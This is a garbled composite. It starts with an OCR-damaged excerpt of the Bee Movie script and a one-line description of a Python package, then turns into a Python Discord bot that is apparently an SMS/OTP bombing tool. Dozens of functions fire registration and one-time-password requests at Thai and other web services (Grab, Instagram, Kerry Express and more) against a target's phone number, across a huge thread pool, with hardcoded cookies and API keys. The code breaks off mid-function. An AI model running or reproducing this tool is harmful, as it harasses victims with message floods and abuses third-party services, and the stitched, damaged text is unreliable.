with no water. They'll never make it. I gotta get up there and talk to them. Be careful. Oan I get help with the Sky Mall magazine? I'd like to order the talking inflatable nose and ear hair trimmer. Oaptain, I'm in a real situation. - What'd you say, Hal? - Nothing. Bee! Don't freak out! My entire species... What are you doing? - Wait a minute! I'm an attorney! - Who's an attorney? Don't move. Oh, Barry. Good afternoon, passengers. This is your captain. Would a Miss Vanessa Bloome in 24B please report to the cockpit? And please hurry! What happened here? There was a DustBuster, a toupee, a life raft exploded. One's bald, one's in a boat, they're both unconscious! - Is that another bee joke? - No! No one's flying the plane! This is JFK control tower, Flight 356. What's your status? This is Vanessa Bloome. I'm a florist from New York. Where's the pilot? He's unconscious, and so is the copilot. Not good. Does anyone onboard have flight experience? As a matter of fact, there is. - Who's that? - Barry Benson. From the honey trial?! Oh, great. Vanessa, this is nothing more than a big metal bee. It's got giant wings, huge engines. I can't fly a plane. - Why not? Isn't John Travolta a pilot? - Yes. How hard could it be? Wait, Barry! We're headed into some lightning. This is Bob Bumble. We have some late-breaking news from JFK Airport, where a suspenseful scene is developing. Barry Benson, fresh from his legal victory... That's Barry! ...is attempting to land a plane, loaded with people, flowers and an incapacitated flight crew. Flowers?! We have a storm in the area and two individuals at the controls with absolutely no flight experience. Just a minute. There's a bee on that plane. I'm quite familiar with Mr. Benson and his no-account compadres. They've done enough damage. But isn't he your only hope? Technically, a bee shouldn't be able to fly at all. Their wings are too small... Haven't we heard this a million times? "The surface area of the wings and body mass make no sense." - Get this on the air! - Got it. - Stand by. - We're going live. The way we work may be a mystery to you. Making honey takes a lot of bees doing a lot of small jobs. But let me tell you about a small job. If you do it well, it makes a big difference. More than we realized. To us, to everyone. That's why I want to get bees back to working together. That's the bee way! We're not made of Jell-O. We get behind a fellow. - Black and yellow! - Hello! Left, right, down, hover. - Hover? - Forget hover. This isn't so hard. Beep-beep! Beep-beep! Barry, what happened?! Wait, I think we were on autopilot the whole time. - That may have been helping me. - And now we're not! So it turns out I cannot fly a plane. All of you, let's get behind this fellow! Move it out! Move out! Our only chance is if I do what I'd do, you copy me with the wings of the plane! Don't have to yell. I'm not yelling! We're in a lot of trouble. It's very hard to concentrate with that panicky tone in your voice! It's not a tone. I'm panicking! I can't do this! Vanessa, pull yourself together. You have to snap out of it! You snap out of it. You snap out of it. - You snap out of it! - You snap out of it! - You snap out of it! - You snap out of it! - You snap out of it! - You snap out of it! - Hold it! - Why? Oome on, it's my turn. How is the plane flying? I don't know. Hello? Benson, got any flowers for a happy occasion in there? The Pollen Jocks! They do get behind a fellow. - Black and yellow. - Hello. All right, let's drop this tin can on the blacktop. Where? I can't see anything. Oan you? No, nothing. It's all cloudy. Oome on. You got to think bee, Barry. - Thinking bee. - Thinking bee. Thinking bee! Thinking bee! Thinking bee! Wait a minute. I think I'm feeling something. - What? - I don't know. It's strong, pulling me. Like a 27-million-year-old instinct. Bring the nose down. Thinking bee! Thinking bee! Thinking bee! - What in the world is on the tarmac? - Get some lights on that! Thinking bee! Thinking bee! Thinking bee! - Vanessa, aim for the flower. - OK. Out the engines. We're going in on bee power. Ready, boys? Affirmative! Good. Good. Easy, now. That's it. Land on that flower! Ready? Full reverse! Spin it around! - Not that flower! The other one! - Which one? - That flower. - I'm aiming at the flower! That's a fat guy in a flowered shirt. I mean the giant pulsating flower made of millions of bees! Pull forward. Nose down. Tail up. Rotate around it. - This is insane, Barry! - This's the only way I know how to fly. Am I koo-koo-kachoo, or is this plane flying in an insect-like pattern? Get your nose in there. Don't be afraid. Smell it. Full reverse! Just drop it. Be a part of it. Aim for the center! Now drop it in! Drop it in, woman! Oome on, already. Barry, we did it! You taught me how to fly! - Yes. No high-five! - Right. Barry, it worked! Did you see the giant flower? What giant flower? Where? Of course I saw the flower! That was genius! - Thank you. - But we're not done yet. Listen, everyone! This runway is covered with the last pollen from the last flowers available anywhere on Earth. That means this is our last chance. We're the only ones who make honey, pollinate flowers and dress like this. If we're gonna survive as a species, this is our moment! What do you say? Are we going to be bees, orjust Museum of Natural History keychains? We're bees! Keychain! Then follow me! Except Keychain. Hold on, Barry. Here. You've earned this. Yeah! I'm a Pollen Jock! And it's a perfect fit. All I gotta do are the sleeves. Oh, yeah. That's our Barry. Mom! The bees are back! If anybody needs to make a call, now's the time. I got a feeling we'll be working late tonight! Here's your change. Have a great afternoon! Oan I help who's next? Would you like some honey with that? It is bee-approved. Don't forget these. Milk, cream, cheese, it's all me. And I don't see a nickel! Sometimes I just feel like a piece of meat! I had no idea. Barry, I'm sorry. Have you got a moment? Would you excuse me? My mosquito associate will help you. Sorry I'm late. He's a lawyer too? I was already a blood-sucking parasite. All I needed was a briefcase. Have a great afternoon! Barry, I just got this huge tulip order, and I can't get them anywhere. No problem, Vannie. Just leave it to me. You're a lifesaver, Barry. Oan I help who's next? All right, scramble, jocks! It's time to fly. Thank you, Barry! That bee is living my life! Let it go, Kenny. - When will this nightmare end?! - Let it all go. - Beautiful day to fly. - Sure is. Between you and me, I was dying to get out of that office. You have got to start thinking bee, my friend. - Thinking bee! - Me? Hold it. Let's just stop for a second. Hold it. I'm sorry. I'm sorry, everyone. Oan we stop here? I'm not making a major life decision during a production number! All right. Take ten, everybody. Wrap it up, guys. I had virtually no rehearsal for that.
dsdanielpark / ExceptNotifierThe Python package ExceptNotifier enhances the try-except statement, allowing you to receive detailed error messages via email or messenger apps.
Godbyhub / 108apiimport os, wmi from sys import prefix from attr import validate import discord from discord.ext import commands from discord.ext import commands import discord from discord_buttons_plugin import * import requests, json, threading, requests, json, validators import requests, time, os from os import system from typing_extensions import Required import discord from discord import client from discord.utils import get import gratient from concurrent.futures import ThreadPoolExecutor from re import search from time import sleep import requests from discord import embeds from datetime import datetime from discord import message from discord.ext import commands from discord.ext.commands.core import command, has_role from requests import post, Session from re import search from random import choice from string import ascii_uppercase, digits from concurrent.futures import ThreadPoolExecutor from discord.ext import commands from json import loads, dumps, load PREFIX = 'wy.' TOKEN = '' LIMIT = 100 blacklist = [ "191", "0956150861" ] bot = commands.Bot(command_prefix=PREFIX) bot.remove_command("help") def randomString(N): return ''.join(choice(ascii_uppercase + digits) for _ in range(N)) threading = ThreadPoolExecutor(max_workers=int(100000000)) useragent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36 Edg/95.0.1020.40" header = {"user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36 Edg/95.0.1020.38"} print(gratient.black(''' ╔════════════════════════════════════════════╗ ║ .______ ______ .___________. ║ ║ | _ \ / __ \ | | ║ ║ | |_) | | | | | `---| |----` ║ ║ | _ < | | | | | | ║ ║ | |_) | | `--' | | | ║ ║ |______/ \______/ |__| ║ ╚════════════════════════════════════════════╝ ''')) @bot.event async def on_command_error(ctx, error): if isinstance(error, commands.CommandOnCooldown): await ctx.send(f"`cooldown {round(error.retry_after, 2)} seconds left`") @bot.event async def on_ready(): print(gratient.red(f"login as {bot.user}")) system('title ' + (f"{bot.user}")) def randomString(N): return ''.join(choice(ascii_uppercase + digits) for _ in range(N)) threading = ThreadPoolExecutor(max_workers=int(100000000)) useragent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36 Edg/95.0.1020.40" def sk1(phone): post("https://api.myfave.com/api/fave/v3/auth",headers={"client_id": "dd7a668f74f1479aad9a653412248b62", "User-Agent": useragent},json={"phone": f"66{phone}"}) def sk2(phone): post("https://u.icq.net/api/v65/rapi/auth/sendCode", headers={"User-Agent": useragent}, json={"reqId":"39816-1633012470","params":{"phone": f"+66{phone[1:]}","language":"en-US","route":"sms","devId":"ic1rtwz1s1Hj1O0r","application":"icq"}}) def sk3(phone): post("https://api2.1112.com/api/v1/otp/create", headers={"User-Agent": useragent}, data={'phonenumber': phone,'language': "th"}) def sk4(phone): post("https://ecomapi.eveandboy.com/v10/user/signup/phone", headers={"User-Agent": useragent}, data={"phone": phone,"password":"123456789Az"}) def sk5(phone): post("https://api.1112delivery.com/api/v1/otp/create", headers={"User-Agent": useragent}, data={'phonenumber': phone,'language': "th"}) def sk6(phone): post("https://gccircularlivingshop.com/sms/sendOtp", headers={"User-Agent": useragent}, json={"grant_type":"otp","username": f"+66{phone[1:]}","password":"","client":"ecommerce"}) def sk7(phone): post("https://shop.foodland.co.th/login/generation", headers={"User-Agent": useragent}, data={"phone": phone}) def sk8(phone): post("https://api-shop.diorbeauty.hk/api/th/ecrm/sms_generate_code", headers={"User-Agent": useragent}, data={"number": f"+66{phone[1:]}"}) def sk9(phone): post("https://api.sacasino9x.com/api/RegisterService/RequestOTP", headers={"User-Agent": useragent}, json={"Phone": phone}) def sk10(phone): post("https://shoponline.ondemand.in.th/OtpVerification/VerifyOTP/SendOtp", headers={"User-Agent": useragent}, data={"phone": phone}) def sk11(phone): post("https://www.konvy.com/ajax/system.php?type=reg&action=get_phone_code", headers={"User-Agent": useragent}, data={"phone": phone}) def sk12(phone): post("https://partner-api.grab.com/grabid/v1/oauth2/otp", headers={"User-Agent": useragent}, json={"client_id":"4ddf78ade8324462988fec5bfc5874c2","transaction_ctx":"null","country_code":"TH","method":"SMS","num_digits":"6","scope":"openid profile.read foodweb.order foodweb.rewards foodweb.get_enterprise_profile","phone_number": f"66{phone[1:]}"}) def sk13(phone): post("https://api.scg-id.com/api/otp/send_otp", headers={"User-Agent": useragent, "Content-Type": "application/json;charset=UTF-8"},json={"phone_no": phone}) def sk14(phone): session = Session() searchItem = session.get("https://www.shopat24.com/register/").text ReqTOKEN = search("""<input type="hidden" name="_csrf" value="(.*)" />""", searchItem).group(1) session.post("https://www.shopat24.com/register/ajax/requestotp/", headers={"User-Agent": useragent, "content-type": "application/x-www-form-urlencoded; charset=UTF-8","X-CSRF-TOKEN": ReqTOKEN}, data={"phoneNumber": phone}) def sk15(phone): post("https://prettygaming168-api.auto888.cloud/api/v3/otp/send", headers={"User-Agent": useragent}, data={"tel": phone,"otp_type":"register"}) def sk16(phone): post("https://the1web-api.the1.co.th/api/t1p/regis/requestOTP", headers={"User-Agent": useragent}, json={"on":{"value": phone,"country":"66"},"type":"mobile"}) def sk17(phone): post(f"https://th.kerryexpress.com/website-api/api/OTP/v1/RequestOTP/{phone}", headers={"User-Agent": useragent}) def sk18(phone): post("https://graph.firster.com/graphql",headers={"User-Agent": useragent, "organizationcode": "lifestyle","content-type": "application/json"}, json={"operationName":"sendOtp","variables":{"input":{"mobileNumber": phone[1:],"phoneCode":"THA-66"}},"query":"mutation sendOtp($input: SendOTPInput!) {\n sendOTPRegister(input: $input) {\n token\n otpReference\n expirationOn\n __typename\n }\n}\n"}) def sk19(phone): post("https://nocnoc.com/authentication-service/user/OTP?b-uid=1.0.661", headers={"User-Agent": useragent}, json={"lang":"th","userType":"BUYER","locale":"th","orgIdfier":"scg","phone": f"+66{phone[1:]}","type":"signup","otpTemplate":"buyer_signup_otp_message","userParams":{"buyerName": randomString(10)}}) def sk20(phone): post("https://store.boots.co.th/api/v1/guest/register/otp", headers={"User-Agent": useragent}, json={"phone_number":f"+66{phone[1:]}"}) def sk21(phone): post("https://m.lucabet168.com/api/register-otp", headers={"User-Agent": useragent} ,json={"brands_id":"609caede5a67e5001164b89d","agent_register":"60a22f7d233d2900110070d7","tel": phone}) def sk22(phone): session = Session() ReqTOKEN = session.get("https://srfng.ais.co.th/Lt6YyRR2Vvz%2B%2F6MNG9xQvVTU0rmMQ5snCwKRaK6rpTruhM%2BDAzuhRQ%3D%3D?redirect_uri=https%3A%2F%2Faisplay.ais.co.th%2Fportal%2Fcallback%2Ffungus%2Fany&httpGenerate=generated", headers={"User-Agent": useragent}).text session.post("https://srfng.ais.co.th/login/sendOneTimePW", data=f"msisdn=66{phone[1:]}&serviceId=AISPlay&accountType=all&otpChannel=sms",headers={"User-Agent": useragent,"Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", "authorization": f'''Bearer {search("""<input type="hidden" id='token' value="(.*)">""", ReqTOKEN).group(1)}'''}) def sk23(phone): post(url="https://www.cpffeedonline.com/Customer/RegisterRequestOTP", data={"mobileNumber":f"{phone}"}) def sk24(phone): post(url="https://www.tgfone.com/index.php/signin/otp_chk", data={"mobile":f"{phone}"}) def sk25(phone): post("https://api2.1112.com/api/v1/otp/create", json={"phonenumber":f"0{phone}","language":"th"}, headers={"user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36 Edg/95.0.1020.38"}) def sk26(phone): post("https://unacademy.com/api/v3/user/user_check/", json={"phone":f"0{phone}","country_code":"TH"}, headers={"user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36 Edg/95.0.1020.38"}) def sk27(phone): post(f"http://m.vcanbuy.com/gateway/msg/send_regist_sms_captcha?mobile=66-0{phone}") def sk28(phone): post("https://ocs-prod-api.makroclick.com/next-ocs-member/user/register", json={"username": f"0{phone}","password":"6302814184624az","name":"0903281894","provinceCode":"28","districtCode":"393","subdistrictCode":"3494","zipcode":"40260","siebelCustomerTypeId":"710","acceptTermAndCondition":"true","hasSeenConsent":"false","locale":"th_TH"}, headers={"user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36 Edg/95.0.1020.38"}) def sk29(phone): post("https://shoponline.ondemand.in.th/OtpVerification/VerifyOTP/SendOtp", data={"phone": f"0{phone}"}, headers={"user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36 Edg/95.0.1020.38"}) def sk30(phone): post("https://www.berlnw.com/reservelogin", data={"p_myreserve": f"0{phone}"}, headers={"user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36 Edg/95.0.1020.38"}) def sk31(phone): post("https://www.kickoff28.com/action.php?mode=PreRegister", data={"tel": f"0{phone}"}, headers={"user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36 Edg/95.0.1020.38"}) def sk32(phone): post("https://1ufabet.com/_ajax_/request-otp", data={"request_otp[phoneNumber]": f"0{phone}", "request_otp[termAndCondition]": "1", "request_otp[_token]": "XBNcvQIzJK1pjh_2T0BBzLiDa6vSivktDN317mbw3ws"}, headers={"user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36 Edg/95.0.1020.38"}) def p1112(phone): d=post('https://api2.1112.com/api/v1/otp/create',json={"phonenumber":phone,"language":"th"},headers= header).status_code def p1112v2(phone): d=post('https://api.1112delivery.com/api/v1/otp/create',json={"phonenumber":phone,"language":"th"},headers=header).status_code def yandex(phone): d=post("https://taxi.yandex.kz/3.0/launch/",json={},headers=header).json() d=post("https://taxi.yandex.kz/3.0/auth/",json={"id": d["id"], "phone": f"+66{phone[1:]}"},headers=header).text def okru(phone): s=Session() s.headers.update({"User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.54 Safari/537.36 Edg/95.0.1020.38","Content-Type" : "application/x-www-form-urlencoded","Accept" : "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9"}) s.post("https://ok.ru/dk?cmd=AnonymRegistrationEnterPhone&st.cmd=anonymRegistrationEnterPhone",data=f"st.r.phone=+66{phone[1:]}") s.post("https://ok.ru/dk?cmd=AnonymRegistrationAcceptCallUI&st.cmd=anonymRegistrationAcceptCallUI",data="st.r.fieldAcceptCallUIButton=Call") def karusel(phone): s=Session() s.post('https://app.karusel.ru/api/v1/phone/', data={'phone': phone}) def KFC(_phone): post('https://app-api.kfc.ru/api/v1/common/auth/send-validation-sms', json={'phone': '+' + _phone}) def icq(phone): post(f"https://u.icq.net/api/v4/rapi",json={"method":"auth/sendCode","reqId":"24973-1587490090","params":{"phone": f"66{phone[1:]}","language":"en-US","route":"sms","devId":"ic1rtwz1s1Hj1O0r","application":"icq"}},headers=header) def findclone(phone): d=get(f"https://findclone.ru/register?phone=+66{phone[1:]}",headers={"X-Requested-With" : "XMLHttpRequest","User-Agent" : "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.116 Safari/537.36"}).json() def spam_pizza(phone): #pizza post('https://api2.1112.com/api/v1/otp/create', data = {'phonenumber': phone, 'language': "th"}) def youla(phone): post('https://youla.ru/web-api/auth/request_code', data={'phone': phone}) def ig_token(): d=get("https://www.instagram.com/",headers=header).headers['set-cookie'] d=search("csrftoken=(.*);",d).group(1).split(";") return d[0],d[10].replace(" Secure, ig_did=","") def Facebook(phone): token,_=ig_token() d=post("https://www.instagram.com/accounts/account_recovery_send_ajax/",data=f"email_or_username=66{phone}&recaptcha_challenge_field=",headers={"Content-Type":"application/x-www-form-urlencoded","X-Requested-With":"XMLHttpRequest","User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.116 Safari/537.36","X-CSRFToken":token}).json() def instagram(phone): token,cid=ig_token() d=post("https://www.instagram.com/accounts/send_signup_sms_code_ajax/",data=f"client_id={cid}&phone_number=66{phone}&phone_id=&big_blue_token=",headers={"Content-Type":"application/x-www-form-urlencoded","X-Requested-With":"XMLHttpRequest","User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.116 Safari/537.36","X-CSRFToken":token}).json() def Rapid(phone): d=post('https://rapidapi.com/blaazetech/api/spam-caller-check/',json={"phonenumber":phone,"language":"th"},headers=header).status_code def VBC(phone): post('https://twitter-user-profile-data.p.rapidapi.com/v1/api/twitter',headers = {'content-type': "application/json",'x-rapidapi-host': "twitter-user-profile-data.p.rapidapi.com",'x-rapidapi-key': "775b9796aemshb6a4eefc8d0e33cp1d04d7jsnefd368e22b03"}) def api1(phone): post("https://m.thisshop.com/cos/send/code/notice", json={"sessionContext":{"channel":"h5","entityCode":0,"userReferenceNumber":"12w12y11r52gz259ue14rr7g7370239m","localDateTimeText":"20220115182850","riskMessage":"{}","serviceCode":"FLEX0001","superUserId":"sysadmin","tokenKey":"149d5c7bae10304c8aba0da2bbc59cb7","authorizationReason":"","transactionBranch":"TFT_ORG_0000","userId":"","locale":"th-TH"},"noticeType":1,"businessType":"RT0001","phoneNumber":f"66-{phone}"},headers={"content-type": "application/json; charset=UTF-8","user-agent": "Mozilla/5.0 (Linux; Android 5.1.1; A37f) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36"}) def api2(phone): headers = { "content-type": "application/x-www-form-urlencoded", "user-agent": "Mozilla/5.0 (Linux; Android 5.1.1; A37f) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.74 Mobile Safari/537.36", "referer": "https://www.wongnai.com/guest2?_f=signUp&guest_signup_type=phone", "cookie": "_gcl_au=1.1.1123274548.1637746846" } post("https://www.wongnai.com/_api/guest.json?_v=6.054&locale=th&_a=phoneLogIn",headers=headers,data=f"phoneno={phone}&retrycount=0") def api3(phone): post("https://gettgo.com/sessions/otp_for_sign_up", data={"mobile_number":phone}) def api4(phone): post("https://api.true-shopping.com/customer/api/request-activate/mobile_no", data={"username": phone}) def api5(phone): post("https://www.msport1688.com/auth/send_otp", data={"phone":phone}) def api6(phone): post("http://b226.com/x/code", data={f"phone":phone}) def api7(phone): post('https://www.sso.go.th/wpr/MEM/terminal/ajax_send_otp',headers = {"User-Agent": "Mozilla/5.0 (Linux; Android 10; Redmi 8A) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.85 Mobile Safari/537.36","Content-Type": "application/x-www-form-urlencoded; charset=UTF-8","X-Requested-With": "XMLHttpRequest","Cookie": "sso_local_storeci_sessions=KHj9a18RowgHYWbh71T2%2FDFAcuC2%2FQaJkguD3MQ1eh%2FlwrUXvpAjJgrm6QKAja4oe7rglht%2BzO6oqblJ4EMJF4pqnY%2BGtR%2F0RzIFGN0Suh1DJVRCMPpP8QtZsF5yDyw6ibCMf2HXs95LvAMi7KUkIeaWkSahmh5f%2F3%2FqcOQ2OW5yakrMGA1mJ5upBZiUdEYNmxUAljcqrg7P3L%2BGAXxxC2u1bO09Oz4qf4ZV9ShO0gz5p5CbkE7VxIq1KUrEavn9Y%2BarQmsh1qIIc51uvCev1U1uyXfC%2F9U7uRl7x%2FVYZYT2pkLd3Q7qnZoSNBL8y9wge8Lt7grySdVLFhw9HB68dTSiOm1K04QhdrprI7EsTLWDHTgYmgyTQDuz63YjHsH5MUVanlfBISU1WXmRTXMKbUjlcl0LPPYUR9KWzrVL7sXcrCX%2FfUwLJIU%2F7MTtDYUx39y1CAREM%2F8dw7AEjcJAOA%3D%3D684b65b9b9dc33a3380c5b121b6c2b3ecb6f1bec; PHPSESSID=1s2rdo0664qpg4oteil3hhn3v2; TS01ac2b25=01584aa399fbfcc6474d383fdc1405e05eaa529fa33e596e5189664eb7dfefe57b927d8801ad40fba49f0adec4ce717dd5eabf08d7080e2b85f34368a92a47e71ef07861a287c40da15c0688649509d7f97eb2c293; _ga=GA1.3.1824294570.1636876684; _gid=GA1.3.1832635291.1636876684"},data=f"dCard=1358231116147&Mobile={phone}&password=098098Az&repassword=098098Az&perPrefix=Mr.&cn=Dhdhhs&sn=Vssbsh&perBirthday=5&perBirthmonth=5&perBirthyear=2545&Email=nickytom5879%40gmail.com&otp_type=OTP&otpvalue=&messageId=REGISTER") def api8(phone): post("https://api.mcshop.com/cognito/me/forget-password",headers={"x-store-token": "mcshop","user-agent": "Mozilla/5.0 (Linux; Android 10; Redmi 8A) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.85 Mobile Safari/537.36","content-type": "application/json;charset=UTF-8","accept": "application/json, text/plain, */*","x-auth-token": "O2d1ZXN0OzkyMDIzOTU7YThmNWMyZDE4YThlOTMzOGMyOGMwYWE5ODQwNTBjY2I7Ozs7","x-api-key": "ZU2QOTDkCV5JYVkWXdYFL8niGXB8l1mq2H2NQof3"},json={"username": phone}) def api9(phone): get(f"https://asv-mobileapp-prod.azurewebsites.net/api/Signin/SendOTP?phoneNo={phone}&type=Register") def api10(phone): post("https://m.lavagame168.com/api/register-otp",headers={"x-exp-signature": "5ffc0caa4d603200124e4eb1","user-agent": "Mozilla/5.0 (Linux; Android 10; Redmi 8A) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.85 Mobile Safari/537.36","referer": "https://m.lavagame168.com/dashboard/login"},json={"brands_id":"5ffc0caa4d603200124e4eb1","agent_register":"5ffc0d5cdcd4f30012aec3d9","tel": phone}) def api11(phone): get("https://m.redbus.id/api/getOtp?number="+phone[1:]+"&cc=66&whatsAppOpted=true",headers={"traceparent": "00-7d1f9d70ec75d3fb488d8eb2168f2731-6b243a298da767e5-01","user-agent": "Mozilla/5.0 (Linux; Android 10; Redmi 8A) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.85 Mobile Safari/537.36"}).text def api12(phone): post("https://api.myfave.com/api/fave/v3/auth",headers={"client_id": "dd7a668f74f1479aad9a653412248b62"},json={"phone":"66"+phone}) def api13(phone): post("https://samartbet.com/api/request/otp", data={"phoneNumber":phone,"token":"HFbWhpfhFIGSMVWlhcQ0JNQgAtJ3g3QT43FRpzKhsvGhoHEzo6C1sjaRh1dSxgfEt_URwOHgwabwwWKXgodXd9IBBtZShlPx9rQUNiek5tYDtfB3swTC4KUlVRX0cFWVkNElhjPXVzb3NWBSpvVzofb1ZFLi15c2YrTltsL0FpGSMVGQ9rCRsacxJcemxjajdoch8sfEhoWVlvbVEsQ0tWfhgfOGth"}) def api14(phone): post("https://www.msport1688.com/auth/send_otp", data={"phone":phone}) def api15(phone): post("http://b226.com/x/code", data={f"phone":phone}) def api16(phone): post("https://ep789bet.net/auth/send_otp", data={"phone":phone}) def api17(phone): post("https://www.berlnw.com/reservelogin",data={"p_myreserve": phone}, headers={"Host": "www.berlnw.com", "Connection": "keep-alive", "Upgrade-Insecure-Requests": "1", "Content-Type": "application/x-www-form-urlencoded", "Save-Data": "on", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Referer": "https://www.berlnw.com/myaccount", "Accept-Encoding": "gzip, deflate, br", "Accept-Language": "th-TH,th;q=0.9,en;q=0.8", "Cookie": "berlnw=s%3AaKEA2ULex-QQ7U6jr0WCQGs-Mz3eJFJn.RsAXcleV2EVFN4j%2BPqDivbqSYAta0UYtyoM65BrxuV0; _referrer_og=https%3A%2F%2Fwww.google.com%2F; _first_pageview=1; _jsuid=4035440860; _ga=GA1.2.766623232.1635154743; _gid=GA1.2.1857466267.1635154743; _gac_UA-90695720-1=1.1635154743.CjwKCAjwq9mLBhB2EiwAuYdMtU_gp7mSvFcH4kByOTGf-LsmLTGujv9qCwMi1xwWSuEiQSOlODmN-RoCMu4QAvD_BwE; _fbp=fb.1.1635154742776.771793600; _gat_gtag_UA_90695720_1=1"}) def api18(phone): post("https://the1web-api.the1.co.th/api/t1p/regis/requestOTP", json={"on":{"value":phone,"country":"66"},"type":"mobile"}) def api19(phone): post(f"http://m.vcanbuy.com/gateway/msg/send_regist_sms_captcha?mobile=66-{phone}") def api20(phone): post("https://shop.foodland.co.th/login/generation", data={"phone": phone}) def api21(phone): post("https://jdbaa.com/api/otp-not-captcha", data={"phone_number":phone}) def api22(phone): post("https://unacademy.com/api/v3/user/user_check/",json={"phone":phone,"country_code":"TH"},headers={}).json() def api23(phone): post("https://shoponline.ondemand.in.th/OtpVerification/VerifyOTP/SendOtp", data={"phone": phone}) def api24(phone): post("https://ocs-prod-api.makroclick.com/next-ocs-member/user/register",json={"username": phone,"password":"6302814184624az","name":"0903281894","provinceCode":"28","districtCode":"393","subdistrictCode":"3494","zipcode":"40260","siebelCustomerTypeId":"710","acceptTermAndCondition":"true","hasSeenConsent":"false","locale":"th_TH"}) def api25(phone): post("https://store.boots.co.th/api/v1/guest/register/otp",json={"phone_number": phone}) def api26(phone): post("https://www.instagram.com/accounts/account_recovery_send_ajax/",data=f"email_or_username={phone}&recaptcha_challenge_field=",headers={"Content-Type":"application/x-www-form-urlencoded","X-Requested-With":"XMLHttpRequest","User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.116 Safari/537.36","x-csrftoken": "EKIzZefCrMss0ypkr2VjEWZ1I7uvJ9BD"}).json def api27(phone): post("https://th.kerryexpress.com/website-api/api/OTP/v1/RequestOTP/"+phone) def api28(phone): post("https://api.scg-id.com/api/otp/send_otp", headers={"Content-Type": "application/json;charset=UTF-8"},json={"phone_no": phone}) def api29(phone): post("https://partner-api.grab.com/grabid/v1/oauth2/otp", json={"client_id":"4ddf78ade8324462988fec5bfc5874c2","transaction_ctx":"null","country_code":"TH","method":"SMS","num_digits":"6","scope":"openid profile.read foodweb.order foodweb.rewards foodweb.get_enterprise_profile","phone_number": phone},headers={}) def api30(phone): post("https://www.konvy.com/ajax/system.php?type=reg&action=get_phone_code", data={"phone": phone}) def api31(phone): post("https://ecomapi.eveandboy.com/v10/user/signup/phone", data={"phone": phone,"password":"123456789Az"}) def api32(phone): post("https://cognito-idp.ap-southeast-1.amazonaws.com/",headers={"user-agent": "Mozilla/5.0 (Linux; Android 10; Redmi 8A) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.85 Mobile Safari/537.36","content-type": "application/x-amz-json-1.1","x-amz-target": "AWSCognitoIdentityProviderService.SignUp","x-amz-user-agent": "aws-amplify/0.1.x js","referer": "https://www.bugaboo.tv/members/signup/phone"},json={"ClientId":"6g47av6ddfcvi06v4l186c16d6","Username":f"+66{phone[1:]}","Password":"098098Az","UserAttributes":[{"Name":"name","Value":"Dbdh"},{"Name":"birthdate","Value":"2005-01-01"},{"Name":"gender","Value":"Male"},{"Name":"phone_number","Value":f"+66{phone[1:]}"},{"Name":"custom:phone_country_code","Value":"+66"},{"Name":"custom:is_agreement","Value":"true"},{"Name":"custom:allow_consent","Value":"true"},{"Name":"custom:allow_person_info","Value":"true"}],"ValidationData":[]}) post("https://cognito-idp.ap-southeast-1.amazonaws.com/",headers={"cache-control": "max-age=0","user-agent": "Mozilla/5.0 (Linux; Android 10; Redmi 8A) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.85 Mobile Safari/537.36","content-type": "application/x-amz-json-1.1","x-amz-target": "AWSCognitoIdentityProviderService.ResendConfirmationCode","x-amz-user-agent": "aws-amplify/0.1.x js","referer": "https://www.bugaboo.tv/members/resetpass/phone"},json={"ClientId":"6g47av6ddfcvi06v4l186c16d6","Username":f"+66{phone[1:]}"}) def api33(phone): get(f"https://laopun.com/send-sms?id={phone}&otp=5153",headers=header) def api34(phone): post("https://jdbaa.com/api/otp-not-captcha", data={"phone_number":phone}) def api35(phone): post("https://www.carsome.co.th/website/login/sendSMS", headers=header, json={"username":phone,"optType":0}).json() def api36(phone): 